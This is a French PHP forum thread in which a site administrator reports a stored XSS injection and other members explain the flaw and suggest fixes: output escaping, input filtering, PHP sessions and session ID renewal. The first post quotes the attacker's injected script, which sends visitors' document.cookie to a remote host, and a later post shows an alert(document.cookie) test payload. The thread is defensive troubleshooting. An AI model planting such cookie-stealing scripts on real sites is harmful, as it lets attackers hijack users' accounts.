IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Hacké avec cookies


Sujet :

Langage PHP

  1. #1
    Membre confirmé
    Profil pro
    Administrateur systèmes et réseaux
    Inscrit en
    Novembre 2007
    Messages
    146
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Administrateur systèmes et réseaux

    Informations forums :
    Inscription : Novembre 2007
    Messages : 146
    Par défaut Hacké avec cookies
    Bonsoir,

    je viens en panique vous voir car j'ai eu un hack sur mon site, une faille injection.

    J'ai remarqué dans la BDD ceci :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    <script src=\"http://xx.xxx.xxx.x/a.js\"></script>
    et en allant voir le script (pas très malin le hackeur; après plusieurs heures il y est encore) voici le contenu du .js

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    document.write('<script type="text/javascript" src="http://xx.xxx.xxx.x/info.php?a=' + document.cookie + '"></script>');
    Je suppose que ca récupère les cookies ? donc mot de passe ?

    Car mon admin qui avais un mot de passe en béton, en md5 (pas décryptable via les base de donnée de md5 hash) c'est fait recuperer sont mot de passe en 2 s.

    Il ma dis avoir été a l'endroit ou se trouvé cette injection.

    Aucun autre risque ?


    Je vous remercie

  2. #2
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Par défaut
    A mon avis c'est plutot pour recuperer l'id de session ; a moins que des sites ne mettent le mot de passe des utilisateurs en clair dans des cookies ...
    N'oubliez pas de consulter les FAQ PHP et les cours et tutoriels PHP

  3. #3
    Membre confirmé
    Profil pro
    Administrateur systèmes et réseaux
    Inscrit en
    Novembre 2007
    Messages
    146
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Administrateur systèmes et réseaux

    Informations forums :
    Inscription : Novembre 2007
    Messages : 146
    Par défaut
    Non j'ai testé et mis

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <script type="text/javascript">alert(document.cookie)</script>
    et il ma fournit mon md5 mais il me semble qu'il peu se connecter a son compte tout de même, je m'étais renseigné a l'époque de ogame et les skin piégé (alala ^^) car il suffit qu'il modifie son cookie a lui et met les info qu'il a recup et voila il se fait passé pour l'autre

    Le mieux serai donc quoi pour sécuriser tout ca ?

  4. #4
    Membre chevronné
    Profil pro
    Inscrit en
    Novembre 2007
    Messages
    453
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Novembre 2007
    Messages : 453
    Par défaut
    Lol, utiliser les cookies + javascript pour de la sécurité, ça crains...
    Il faudrait utiliser des sessions en php.

  5. #5
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Par défaut
    Empeche les utilisateurs d'ecrire du javascript sur ton site.
    On n'affiche jamais directement ce qui vient du clavier d'un utilisateur.
    Ici, un simple htmlentites() aurait déjà suffit.
    N'oubliez pas de consulter les FAQ PHP et les cours et tutoriels PHP

  6. #6
    Membre confirmé
    Profil pro
    Administrateur systèmes et réseaux
    Inscrit en
    Novembre 2007
    Messages
    146
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Administrateur systèmes et réseaux

    Informations forums :
    Inscription : Novembre 2007
    Messages : 146
    Par défaut
    je l'ai fait Mais a certain endroit y a des oublis, si je dois compter le nombre d'endroit a checké ca me prendrais ... ^^

    mais au fur et a mesure je vérifie. La plupart été sécurisé, mais cette partie la, je l'avais fait à la va vite et voila ...

    Moi j'ai creer une fonction formatage :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    function format($text)
    {
    	global $site_config, $smilies;
    
    	$s = $text;
    	
    
    	$s = htmlspecialchars($s);
    	$s = stripslashes($s);
    	$s = format_urls($s);
    	
    	// Raccourcis : 
    	
    	// [forum]
    	$s = str_replace("[forum]","<a href=forums.php> Forum </a>", $s);
    	// Annonce
    	$s = str_replace("[annonce]","http://www.rapid-tracker.net/announce.php",$s);
    	// Jeu
    	$s = str_replace(":jeu:","<<<@!1!@>>>
    	$s = preg_replace(
    		"/\<<<@!2!@>>>
    	$s = preg_replace(
    		"/\[quote=(.+?)\]\s*((\s|.)+?)\s*\[\/quote\]\s*/i",
    		"<p class=sub><b>\\1 wrote:</b></p><table class=main border=1 cellspacing=0 cellpadding=10><tr><td style='border: 1px black dotted'>\\2</td></tr></table><br />", $s);
    		
    	   //	$s = preg_replace(
    		"/\[code\]\s*((\s|.)+?)\s*\[\/code\]\s*/i",
    		"<p class=sub><b>Code:</b></p><table class=main border=1 cellspacing=0 cellpadding=10><tr><td style='border: 1px black dotted'>\\1</td></tr></table><br />", $s);
    		
    	  //[blink]Text[/blink]
    	$s = preg_replace("/\[blink\]((\s|.)+?)\[\/blink\]/", "<blink>\\1</blink>", $s);
                    
         //[hr]
            $s = preg_replace("/\[hr\]/i", "<hr>", $s);
    
         //[hr=#ffffff] [hr=red]
            $s = preg_replace("/\[hr=((#[a-f0-9][a-f0-9][a-f0-9][a-f0-9][a-f0-9][a-f0-9])|([a-zA-z]+))\]/i", "<hr color=\"\\1\"/>", $s);
    
            //[swf]http://somesite.com/test.swf[/swf]
            $s = preg_replace("/\[swf\]((www.|http:\/\/|https:\/\/)[^\s]+(\.swf))\[\/swf\]/i",
            "<param name=movie value=\\1/><embed width=470 height=310 src=\\1></embed>", $s);
    
            //[swf=http://somesite.com/test.swf]
            $s = preg_replace("/\[swf=((www.|http:\/\/|https:\/\/)[^\s]+(\.swf))\]/i",
            "<param name=movie value=\\1/><embed width=470 height=310 src=\\1></embed>", $s);
    		
    
    
    	// Linebreaks
    	$s = nl2br($s);
    
    	// Maintain spacing
    	$s = str_replace("  ", " &nbsp;", $s);
    
    	// Smilies
    	require_once("smilies.php");
    	reset($smilies);
    	while (list($code, $url) = each($smilies))
    		$s = str_replace($code, "<img border=0 src=" . $site_config['SITEURL'] . "/images/smilies/$url>", $s);
    
    	$r = mysql_query("SELECT * FROM censor");
    	while($rr=mysql_fetch_row($r))
    		$s = preg_replace("/".preg_quote($rr[0])."/i", $rr[1], $s);
    
    	return $s;
    }

  7. #7
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Par défaut
    Tu peux aussi systematiquement nettoyer tout ton $_POST
    N'oubliez pas de consulter les FAQ PHP et les cours et tutoriels PHP

  8. #8
    Membre confirmé
    Profil pro
    Administrateur systèmes et réseaux
    Inscrit en
    Novembre 2007
    Messages
    146
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Administrateur systèmes et réseaux

    Informations forums :
    Inscription : Novembre 2007
    Messages : 146
    Par défaut
    ca va dire formater le texte avant dele rentré en bdd ? (ou affiché)

  9. #9
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Par défaut
    Si tu as une page principale qui gère tout, tu peux y filtrer tout ce que tu recois de POST.
    N'oubliez pas de consulter les FAQ PHP et les cours et tutoriels PHP

  10. #10
    Membre confirmé Avatar de alejandro
    Homme Profil pro
    Chef de projet NTIC
    Inscrit en
    Septembre 2004
    Messages
    167
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Chef de projet NTIC
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Septembre 2004
    Messages : 167
    Par défaut
    Au lieu d'utiliser les cookies pour stocker ton mot de passe tu devrais seulement y stocker un identifiant de session que tu renouvelles à chaque appel de page pour prévenir toute tentative de fixation de session.

    Ensuite tu stockes en base de données les informations sur la session de ton client, y compris les données de session. Et surtout comme l'a spécifié "sabotage", tu devrais filtrer toutes les données fournies par tes clients.

    Bonne fin de soirée.

  11. #11
    Membre Expert
    Avatar de Seb33300
    Homme Profil pro
    Développeur Web
    Inscrit en
    Janvier 2007
    Messages
    1 564
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 39
    Localisation : Thaïlande

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2007
    Messages : 1 564
    Par défaut
    C'est une faille XSS.

    Elle a permis au hacker de récupérer les informations stockées dans les cookies de tous les membre de ton site qui qui sont arrivé sur la page "piégée".

    Après il peut très facilement se connecter sur le compte d'un membre dont il a volé les cookies simplement en remplaçant ses cookies par ceux qu'il a volé. Il n'aura même pas besoin de déchiffrer le mot de passe si celui ci est crypté.

  12. #12
    Membre confirmé
    Profil pro
    Administrateur systèmes et réseaux
    Inscrit en
    Novembre 2007
    Messages
    146
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Administrateur systèmes et réseaux

    Informations forums :
    Inscription : Novembre 2007
    Messages : 146
    Par défaut
    Citation Envoyé par Seb33300 Voir le message
    C'est une faille XSS.

    Elle a permis au hacker de récupérer les informations stockées dans les cookies de tous les membre de ton site qui qui sont arrivé sur la page "piégée".

    Après il peut très facilement se connecter sur le compte d'un membre dont il a volé les cookies simplement en remplaçant ses cookies par ceux qu'il a volé. Il n'aura même pas besoin de déchiffrer le mot de passe si celui ci est crypté.
    C'est exactement ce que j'avais dis, rien de très grave, ayant un minimum de jugeote j'ai changer les mot de passe des membres concerné.

    Oui j'ai une page principal, enfin plutot, une fonction php qui a chaque page php vérifie si le mec est connecté, donc dedans je pourrais testé si ya un POST d'envoyé de le filtrer.

    Pour ce qui est des sessions j'y avais vite fais pensé mais je pigé pas trop le système, je devrais m'y pencher ^^

  13. #13
    Membre chevronné
    Avatar de djayp
    Profil pro
    Inscrit en
    Avril 2004
    Messages
    295
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Avril 2004
    Messages : 295
    Par défaut
    Citation Envoyé par Rian83 Voir le message
    C'est exactement ce que j'avais dis, rien de très grave
    Salut !

    Perso je trouve ça grave ! Je n'aimerais pas savoir que quelqu'un connait mon mot de passe et puisse se connecter sur mon compte. Imagine s'il s'agissait des identifiants de ta boite mail, ou pire, de ceux de ton compte bancaire !

    Bref, même si ça te prend du temps, il te faut sécuriser au plus vite tous tes formulaires et passer aux sessions (Il y a de très bons tutos !). Garde les cookies uniquement pour stocker des informations non sensibles (date de connexion par ex.)

    Au passage voici un petit tuto sur la sécurité dans le développement web.

    Bon courage !
    A++

  14. #14
    Membre confirmé
    Profil pro
    Administrateur systèmes et réseaux
    Inscrit en
    Novembre 2007
    Messages
    146
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations professionnelles :
    Activité : Administrateur systèmes et réseaux

    Informations forums :
    Inscription : Novembre 2007
    Messages : 146
    Par défaut
    Je viens de tout securisé a mon avi. Il y avait de base peu de failles, j'en ai corrigé 2 dont celle ci.

    Le mot passe recu est crypté donc de base impossible de l'utiliser, après on peu le decrypté sauf si mes utilisateur on écouté ma propagande et utilisé un mot de passe à plus de 8 caractère donc chiffre, lettre maj et min et caractère spéciaux. Et surtout de ne pas mettre les même mit de passe que leur compte de plus grande importance

    merci pour les liens

  15. #15
    Inactif
    Profil pro
    Inscrit en
    Septembre 2009
    Messages
    18
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2009
    Messages : 18
    Par défaut
    Citation Envoyé par alejandro Voir le message
    Au lieu d'utiliser les cookies pour stocker ton mot de passe tu devrais seulement y stocker un identifiant de session que tu renouvelles à chaque appel de page pour prévenir toute tentative de fixation de session.
    Fais attention ce n'est pas toi qui géres le cookies de session. Il est géré entre ton navigateur et le serveur, il est physiquement distinct du cookies de données pour un nom de domaine.

  16. #16
    Membre confirmé Avatar de alejandro
    Homme Profil pro
    Chef de projet NTIC
    Inscrit en
    Septembre 2004
    Messages
    167
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Chef de projet NTIC
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Septembre 2004
    Messages : 167
    Par défaut
    Citation Envoyé par pretexte Voir le message
    Fais attention ce n'est pas toi qui géres le cookies de session. Il est géré entre ton navigateur et le serveur, il est physiquement distinct du cookies de données pour un nom de domaine.
    Oui exactement, et à mon avis tu devrais éviter de faire transiter sur la toile le mot de passe de tes membres/clients, même cryptés. La méthode qui me paraît la plus sécurisée est d'utiliser des cookies de session et c'est tout. Et surtout par contre, très important de renouveler ton identifiant de session à chaque requête de ton client pour éviter toute tentative de fixation.

    Ainsi personne ne risque de voler à l'un de tes clients ses informations personnelles. Ton mot de passe à beau être crypté, si je renvoie le même cookie que ton client je rentrerais quand même à ce qu'il me semble non ?

    Par contre si j'arrive par quelques moyens tordus à récupérer puis à renvoyer une copie de ton cookie de session, le temps que je le fasse tu auras normalement demandé l'affichage d'une autre page et ton identifiant de session aura changé.

    Enfin je ne suis pas un expert mais cela me semble une alternative sure et raisonable.

Discussions similaires

  1. Réponses: 2
    Dernier message: 13/08/2006, 23h31
  2. [Cookies] HELP probleme avec cookies
    Par sirbaldur dans le forum Langage
    Réponses: 2
    Dernier message: 14/06/2006, 13h26
  3. [Cookies] Problème avec cookie
    Par chienlou dans le forum Langage
    Réponses: 4
    Dernier message: 16/05/2006, 15h55
  4. [Cookies] problemes avec cookie
    Par mereyj dans le forum Langage
    Réponses: 2
    Dernier message: 29/03/2006, 22h48
  5. [struts] mémorisation d'une checkbox avec cookie
    Par rocco dans le forum Struts 1
    Réponses: 3
    Dernier message: 22/04/2004, 12h39

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo